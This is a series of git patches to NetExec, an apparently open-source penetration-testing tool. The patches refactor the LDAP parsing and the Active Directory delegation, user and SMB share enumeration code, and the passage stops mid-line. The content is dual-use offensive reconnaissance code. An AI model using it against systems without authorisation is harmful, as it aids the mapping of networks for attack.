a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9c2b0c60..794d8a4d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -29,6 +29,7 @@ from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket +from impacket.ldap.ldapasn1 import AttributeValue from impacket.ldap.ldap import LDAPFilterSyntaxError from impacket.smb import SMB_DIALECT from impacket.smbconnection import SMBConnection, SessionError @@ -1100,41 +1101,46 @@ class ldap(connection): def printTable(items, header): colLen = [] + + # Calculating maximum lenght before parsing CN. for i, col in enumerate(header): - rowMaxLen = max(len(str(row[i])) for row in items) + rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) colLen.append(max(rowMaxLen, len(col))) # Create the format string for each row outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + # Print header self.logger.highlight(outputFormat.format(*header)) self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) # Print rows for row in items: - # Burada DelegationRightsTo'yu düzeltmek için join() ekleyin + # Get first CN value. + if "CN=" in row[1]: + row[1] = row[1].split(",")[0].split("CN=")[-1] + + # Added join for DelegationRightsTo row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] + self.logger.highlight(outputFormat.format(*row)) - + # Building the search filter search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)" "(UserAccountControl:1.2.840.113556.1.4.803:=524288)" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" "(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))") - + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] resp = self.search(search_filter, attributes, 0) - answers = [] self.logger.debug(f"Total of records returned {len(resp):d}") + resp_parse = parse_result_attributes(resp) - for item in resp: - if not isinstance(item, ldapasn1_impacket.SearchResultEntry): - continue - + for item in resp_parse: mustCommit = False sAMAccountName = "" userAccountControl = 0 @@ -1142,50 +1148,50 @@ class ldap(connection): objectType = "" rightsTo = [] protocolTransition = 0 - + try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - mustCommit = True - elif str(attribute["type"]) == "userAccountControl": - userAccountControl = str(attribute["vals"][0]) - if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: - delegation = "Unconstrained" - rightsTo.append("N/A") - elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: - delegation = "Constrained w/ Protocol Transition" - protocolTransition = 1 - elif str(attribute["type"]) == "objectCategory": - objectType = str(attribute["vals"][0]).split("=")[1].split(",")[0] - elif str(attribute["type"]) == "msDS-AllowedToDelegateTo": - if protocolTransition == 0: - delegation = "Constrained" - rightsTo = [processAttributeValue(val) for val in attribute["vals"]] + sAMAccountName = item.get("sAMAccountName") + mustCommit = sAMAccountName is not None - # Not an elif as an object could both have RBCD and another type of delegation - if str(attribute["type"]) == "msDS-AllowedToActOnBehalfOfOtherIdentity": - rbcdRights = [] - rbcdObjType = [] - sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute["vals"][0])) - search_filter = "(&(|" - for ace in sd["Dacl"].aces: - search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + userAccountControl = int(item.get("userAccountControl", 0)) + objectType = item.get("objectCategory") - for item2 in delegUserResp: - if not isinstance(item2, ldapasn1_impacket.SearchResultEntry): - continue - rbcdRights.append(str(item2["attributes"][0]["vals"][0])) - rbcdObjType.append(str(item2["attributes"][1]["vals"][0]).split("=")[1].split(",")[0]) + if userAccountControl & UF_TRUSTED_FOR_DELEGATION: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 - if mustCommit: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - for rights, objType in zip(rbcdRights, rbcdObjType): - answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + if item.get("msDS-AllowedToDelegateTo") is not None: + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = item.get("msDS-AllowedToDelegateTo") + + # Not an elif as an object could both have RBCD and another type of delegation + if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: + databyte = AttributeValue(item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")) # STR to impacket.ldap.ldapasn1.AttributeValue + rbcdRights = [] + rbcdObjType = [] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + + for item2 in delegUserResp: + if not isinstance(item2, ldapasn1_impacket.SearchResultEntry): + continue + rbcdRights.append(str(item2["attributes"][0]["vals"][0])) + rbcdObjType.append(str(item2["attributes"][1]["vals"][0]).split("=")[1].split(",")[0]) + + if mustCommit: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") + else: + for rights, objType in zip(rbcdRights, rbcdObjType): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit: if int(userAccountControl) & UF_ACCOUNTDISABLE: From 5b14c3f999d6c2dc2e79be8ece77113bf4a41b62 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Fri, 18 Oct 2024 16:39:04 +0300 Subject: [PATCH 047/376] Used parse_result_attributes for parsing RBCD too Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 794d8a4d..c6c864b6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1179,12 +1179,11 @@ class ldap(connection): search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) - - for item2 in delegUserResp: - if not isinstance(item2, ldapasn1_impacket.SearchResultEntry): - continue - rbcdRights.append(str(item2["attributes"][0]["vals"][0])) - rbcdObjType.append(str(item2["attributes"][1]["vals"][0]).split("=")[1].split(",")[0]) + delegUserResp_parse = parse_result_attributes(delegUserResp) + + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) if mustCommit: if int(userAccountControl) & UF_ACCOUNTDISABLE: From 6e59002b6fd97f6b6d12bb768007002254a43e9a Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Fri, 18 Oct 2024 16:48:15 +0300 Subject: [PATCH 048/376] Edit_ldarp_parser --- nxc/parsers/ldap_results.py | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index 206fad8b..844343dd 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -8,6 +8,15 @@ def parse_result_attributes(ldap_response): continue attribute_map = {} for attribute in entry["attributes"]: - attribute_map[str(attribute["type"])] = str(attribute["vals"][0]) + val_list = [] + for val in attribute["vals"].components: + try: + # Attempt to decode as UTF-8 + decoded_val = val.decode("utf-8") + except (UnicodeDecodeError, AttributeError): + # If it fails, fall back to hexadecimal representation + decoded_val = val.hex() if isinstance(val, bytes) else str(val) + val_list.append(decoded_val) + attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] parsed_response.append(attribute_map) - return parsed_response \ No newline at end of file + return parsed_response From 5bcf955bb3bbb01d088e0329c4aad03618a3f2aa Mon Sep 17 00:00:00 2001 From: haytehcy Date: Fri, 18 Oct 2024 21:02:32 +0100 Subject: [PATCH 049/376] Fixed issue with --options flag --- nxc/netexec.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/netexec.py b/nxc/netexec.py index 3c66572f..e43794e8 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -173,6 +173,9 @@ def main(): for module in args.module: nxc_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) + elif args.show_module_options: + nxc_logger.error(f"--options requires -M/--module") + exit(1) elif args.module: # Check the modules for sanity before loading the protocol nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}") From c2fe271738218387adea161ec7880b569c5ee6f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 18 Oct 2024 20:20:27 -0400 Subject: [PATCH 050/376] Fix ldap result parsing minor code improvements --- nxc/parsers/ldap_results.py | 15 ++++++--------- nxc/protocols/ldap.py | 15 +++++---------- 2 files changed, 11 insertions(+), 19 deletions(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index 9bf77da5..c12be0e1 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -1,5 +1,6 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: @@ -12,15 +13,11 @@ def parse_result_attributes(ldap_response): for val in attribute["vals"].components: try: encoding = val.encoding - - print(f"Val: {str(val)}, Type: {type(val)}, Encoding: {encoding}") - print(str(val).encode(encoding).decode("utf-8")) - # Attempt to decode as UTF-8 - decoded_val = val.decode("utf-8") - except (UnicodeDecodeError, AttributeError): - # If it fails, fall back to hexadecimal representation - decoded_val = val.hex() if isinstance(val, bytes) else str(val) - val_list.append(decoded_val) + val_decoded = str(val).encode(encoding).decode("utf-8") + except UnicodeDecodeError: + # If we can't decode the value, we'll just return the bytes + val_decoded = val.__bytes__() + val_list.append(val_decoded) attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] parsed_response.append(attribute_map) return parsed_response diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index dd38380e..e0dcb26d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1092,12 +1092,7 @@ class ldap(connection): UF_TRUSTED_FOR_DELEGATION = 0x80000 UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 UF_ACCOUNTDISABLE = 0x2 - - def processAttributeValue(attribute): - # Extract the payload value from the AttributeValue object - if hasattr(attribute, "payload"): - return str(attribute.payload) - return str(attribute) + SERVER_TRUST_ACCOUNT = 0x2000 def printTable(items, header): colLen = [] @@ -1126,11 +1121,11 @@ class ldap(connection): self.logger.highlight(outputFormat.format(*row)) # Building the search filter - search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)" - "(UserAccountControl:1.2.840.113556.1.4.803:=524288)" + search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" + f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" - "(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))") + f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))" + f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] From e2bec64be2b08a895ae87902deecfc1f14b054b2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 18 Oct 2024 20:21:28 -0400 Subject: [PATCH 051/376] Hotfix if msDS-AllowedToActOnBehalfOfOtherIdentity has an empty security descriptor --- nxc/protocols/ldap.py | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e0dcb26d..bcb63ca3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1127,7 +1127,7 @@ class ldap(connection): f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))" f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") - attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] resp = self.search(search_filter, attributes, 0) @@ -1143,7 +1143,7 @@ class ldap(connection): objectType = "" rightsTo = [] protocolTransition = 0 - + try: sAMAccountName = item.get("sAMAccountName") mustCommit = sAMAccountName is not None @@ -1165,27 +1165,28 @@ class ldap(connection): # Not an elif as an object could both have RBCD and another type of delegation if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: - databyte = AttributeValue(item.get("msDS-AllowedToActOnBehalfOfOtherIdentity")) # STR to impacket.ldap.ldapasn1.AttributeValue + databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") rbcdRights = [] rbcdObjType = [] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) - search_filter = "(&(|" - for ace in sd["Dacl"].aces: - search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) - delegUserResp_parse = parse_result_attributes(delegUserResp) - - for rbcd in delegUserResp_parse: - rbcdRights.append(str(rbcd.get("sAMAccountName"))) - rbcdObjType.append(str(rbcd.get("objectCategory"))) + if len(sd["Dacl"].aces) > 0: + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + delegUserResp_parse = parse_result_attributes(delegUserResp) - if mustCommit: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - for rights, objType in zip(rbcdRights, rbcdObjType): - answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) + + if mustCommit: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") + else: + for rights, objType in zip(rbcdRights, rbcdObjType): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit: if int(userAccountControl) & UF_ACCOUNTDISABLE: @@ -1200,7 +1201,7 @@ class ldap(connection): printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) else: self.logger.fail("No entries found!") - + def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" From 5b48d68afb436d55840b5d862daa65d107e64298 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 18 Oct 2024 20:27:09 -0400 Subject: [PATCH 052/376] Remove unused import --- nxc/protocols/ldap.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index bcb63ca3..c371179d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -29,7 +29,6 @@ from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket -from impacket.ldap.ldapasn1 import AttributeValue from impacket.ldap.ldap import LDAPFilterSyntaxError from impacket.smb import SMB_DIALECT from impacket.smbconnection import SMBConnection, SessionError From 2bf95cc899715dbfb432db563ae86cc6cf712f1f Mon Sep 17 00:00:00 2001 From: y0no Date: Sat, 19 Oct 2024 11:24:38 +0200 Subject: [PATCH 053/376] Move from --enum-share to --dir --- nxc/protocols/smb.py | 61 ++++++++------------------------- nxc/protocols/smb/proto_args.py | 2 +- 2 files changed, 16 insertions(+), 47 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 076200cf..f1069962 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -904,44 +904,15 @@ class smb(connection): return permissions - def enum_shares(self): - try: - shares = self.conn.listShares() - self.logger.info(f"Shares returned: {shares}") - except SessionError as e: - error = get_error_string(e) - self.logger.fail( - f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red", - ) + def dir(self): + # Seems defined by default, do we have to keep this check ? + if not self.args.share: + self.logger.error("You must define --share option") return - except Exception as e: - error = get_error_string(e) - self.logger.fail( - f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red", - ) - return - - self.logger.display("Enumerating SMB Shares Directories") - for share in shares: - share_name = share["shi1_netname"][:-1] - depth = 1 - contents = self.conn.listPath(share_name, "*") - - self.logger.success(share_name) - - if contents and depth == 1: - self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") - self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") - self.list_share(share_name, "") - - - def list_share(self, share_name, path_dir, depth=1): - search_path = ntpath.join(path_dir, "*") - - try: - contents = self.conn.listPath(share_name, search_path) + + search_path = ntpath.join(self.args.dir, "*") + try: + contents = self.conn.listPath(self.args.share, search_path) except SessionError as e: error = get_error_string(e) self.logger.fail( @@ -949,18 +920,16 @@ class smb(connection): color="magenta" if error in smb_error_status else "red", ) return + + if not contents: + return + self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}") + self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}") for content in contents: - path_name = content.get_longname() - full_path = ntpath.join(path_dir, path_name) + full_path = ntpath.join(self.args.dir, content.get_longname()) + self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") - if path_name in [".", ".."]: - continue - - if path_name != path_dir: - self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}") - if content.is_directory() and depth < self.args.enum_shares and path_name not in [ ".", ".."]: - self.list_share(share_name, full_path, depth+1) @requires_admin def interfaces(self): diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 77f09e51..d3af77ae 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -34,7 +34,7 @@ def proto_args(parser, parents): mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access") - mapping_enum_group.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") From d4a17c00a0ed36ed9cfe185911b5ab810409c47e Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Sun, 20 Oct 2024 17:08:00 +0200 Subject: [PATCH 054/376] FIX `a bytes-like object is required, not str` --- nxc/protocols/smb.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..ee88a030 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -258,6 +258,9 @@ class smb(connection): except KeyError: self.logger.debug("Error getting server information...") + if isinstance(self.server_os.lower(), bytes): + self.server_os = self.server_os.decode("utf-8") + if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: @@ -266,9 +269,6 @@ class smb(connection): self.logger.extra["hostname"] = self.hostname - if isinstance(self.server_os.lower(), bytes): - self.server_os = self.server_os.decode("utf-8") - try: self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: From 536cede1472843ca1c23e79d2641269bc369bddb Mon Sep 17 00:00:00 2001 From: Chocapikk Date: Sun, 20 Oct 2024 19:55:46 +0200 Subject: [PATCH 055/376] Add comment --- nxc/protocols/smb.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ee88a030..27681609 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -258,9 +258,10 @@ class smb(connection): except KeyError: self.logger.debug("Error getting server information...") + # Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder if isinstance(self.server_os.lower(), bytes): self.server_os = self.server_os.decode("utf-8") - + if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: From d212ae7c2ddf90a914e256dfaea8d658fbf575fc Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 21 Oct 2024 21:55:46 +0300 Subject: [PATCH 056/376] Updated as Neff's review Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 128 +++++++++--------------------------------- 1 file changed, 28 insertions(+), 100 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 9adaa918..ee0c91b3 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -729,78 +729,41 @@ class ldap(connection): ------- None """ - def pwd_last_set_func(pwd_last_set): - """Helper function to format pwdLastSet""" - if pwd_last_set: - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - return "" - return parsed_pw_last_set - if len(self.args.users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: + resp_parse = parse_result_attributes(resp) # Handle the case for anonymous LDAP bindings if self.username == "": - users = [] - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") - - for item in resp: - if not isinstance(item, ldapasn1_impacket.SearchResultEntry): - continue - - # Initialize default values - sAMAccountName = "N/A" - pwdcount = "N/A" - parsed_pw_last_set = "N/A" - description = "N/A" - - # Initialize the username as a fallback - if "objectName" in item: - # Extract the username from the objectName - sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - - # Iterate over the attributes for each entry - for attribute in item["attributes"]: - attr_type = str(attribute["type"]) - attr_vals = attribute["vals"] - - if attr_type == "sAMAccountName": - sAMAccountName = str(attr_vals[0]) - elif attr_type == "badPwdCount": - pwdcount = str(attr_vals[0]) - elif attr_type == "pwdLastSet": - pwd_last_set = str(attr_vals[0]) - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) - elif attr_type == "description": - description = str(attr_vals[0]) - - self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") + self.logger.highlight(f"{'-Username-':<40}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") + for item in resp_parse: + sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" + parsed_pw_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if str(item.get("pwdLastSet")) != "0" else "0") + pwdcount = item.get("pwdcount") if item.get("pwdcount") else "" + description = item.get("description") if item.get("description") else "" + self.logger.highlight(f"{sAMAccountName:<40}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") return - users = parse_result_attributes(resp) # we print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") + self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - for user in users: + for user in resp_parse: # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module parsed_pw_last_set = "" - pwd_last_set = user.get("pwdLastSet", "") - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + pwd_last_set = user.get("pwdLastSet", "") if user.get("pwdLastSet") in ["", None] else ("0" if str(user.get("pwdLastSet")) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S"))) + # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") def groups(self): # Building the search filter @@ -848,17 +811,7 @@ class ldap(connection): self.logger.fail("Exception:", exc_info=True) self.logger.fail(f"Skipping item, cannot process due to error {e}") - def active_users(self): - """Helper function to format pwdLastSet""" - def pwd_last_set_func(pwd_last_set): - if pwd_last_set: - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - return "" - return parsed_pw_last_set - + def active_users(self): """Helper function to format userAccountControl""" def user_account_control_cal(user_account_control): if user_account_control is not None: # Check if user_account_control is not None @@ -876,7 +829,7 @@ class ldap(connection): else: arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] @@ -884,7 +837,6 @@ class ldap(connection): if resp: allusers = parse_result_attributes(resp) - activeusers = [] argsusers = [] @@ -912,54 +864,30 @@ class ldap(connection): if self.username == "": self.logger.display(f"Total records returned: {len(activeusers)}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for item in resp: - if not isinstance(item, ldapasn1_impacket.SearchResultEntry): - continue - - # Initialize default values - sAMAccountName = "N/A" - pwdcount = "N/A" - parsed_pw_last_set = "N/A" - description = "N/A" - # Initialize the username as a fallback - if "objectName" in item: - # Extract the username from the objectName - sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] - - # Iterate over the attributes for each entry - for attribute in item["attributes"]: - attr_type = str(attribute["type"]) - attr_vals = attribute["vals"] - - if attr_type == "sAMAccountName": - sAMAccountName = str(attr_vals[0]) - elif attr_type == "badPwdCount": - pwdcount = str(attr_vals[0]) - elif attr_type == "pwdLastSet": - pwd_last_set = str(attr_vals[0]) - parsed_pw_last_set = pwd_last_set_func(pwd_last_set) - elif attr_type == "description": - description = str(attr_vals[0]) + for item in resp_args: + sAMAccountName = item.get("sAMAccountName") if item.get("sAMAccountName") else "" + pwd_last_set = "" if item.get("pwdLastSet") is None else (str(datetime.fromtimestamp(self.getUnixTime(int(item.get("pwdLastSet")))).strftime("%Y-%m-%d %H:%M:%S")) if 